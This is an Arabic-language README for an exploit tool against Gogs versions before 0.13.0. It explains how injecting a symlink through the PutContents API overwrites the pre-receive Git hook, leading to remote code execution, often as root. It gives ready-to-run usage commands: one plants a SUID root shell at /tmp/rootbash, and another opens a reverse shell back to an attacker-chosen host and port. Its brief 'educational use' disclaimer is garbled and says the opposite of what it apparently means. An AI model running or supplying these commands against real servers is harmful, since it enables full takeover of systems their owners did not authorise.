
التعامل غير السليم مع الروابط الرمزية في واجهة برمجة التطبيقات PutContents في Gogs يسمح بالتنفيذ المحلي للكود.
معالجة غير صحيحة للروابط الرمزية في واجهة برمجة التطبيقات PutContents في Gogs تسمح بتنفيذ التعليمات البرمجية محليًا.
يحتوي هذا المستودع على استغلال احترافي لثغرة أمنية حرجة في إصدارات Gogs الأقدم من 0.13.0. يستغل الاستغلال عيبًا منطقيًا حيث تفشل واجهة برمجة التطبيقات الخاصة بـ Gogs في التحقق من أنواع الملفات عند تحديث محتويات المستودع. من خلال حقن رابط رمزي يشير إلى خطاف Git من جانب الخادم (pre-receive)، يمكن للمستخدم المصادق عليه استبدال محتوى الخطاف بنص ضار. تؤدي عمليات الدفع اللاحقة إلى تنفيذ هذا النص الضار في سياق المستخدم الذي يشغل خدمة Gogs (عادةً root).
حقن الرابط الرمزي: يدفع المهاجم رابطًا رمزيًا يشير إلى خطافات المستودع الداخلية (مثل /root/gogs-repositories//.git/hooks/pre-receive).
استبدال عبر API: تسمح واجهة برمجة التطبيقات الخاصة بـ Gogs بتحديث محتوى الرابط الرمزي. نظرًا لأن نظام التشغيل يتبع الرابط أثناء عملية الكتابة، يتم استبدال خطاف Git الداخلي.
RCE / تصعيد الامتيازات: يؤدي دفع Git لاحق إلى تشغيل خطاف pre-receive. إذا تم تكوين Gogs مع RUN_USER = root، يحصل المهاجم على تحكم كامل في النظام.
المتطلبات
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
بعد الانتهاء، احصل على صلاحيات root على الهدف:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
هذه الأداة مخصصة للأغراض التعليمية وتدقيق الأمان المصرح به فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
| Argument | مطلوب | الوصف |
|---|
--url | نعم | عنوان URL الأساسي لتثبيت Gogs (مثل http://127.0.0.1:3001). |
--user | نعم | اسم مستخدم صالح للمصادقة. |
--pass | نعم | كلمة مرور صالحة للمستخدم المحدد. |
--mode | لا | وضع الاستغلال: suid (ينشئ /tmp/rootbash) أو rev (صدفة عكسية). |
--lhost | لا | عنوان IP المحلي لاستدعاء الصدفة العكسية. |
--lport | لا | المنفذ المحلي لمستمع الصدفة العكسية. |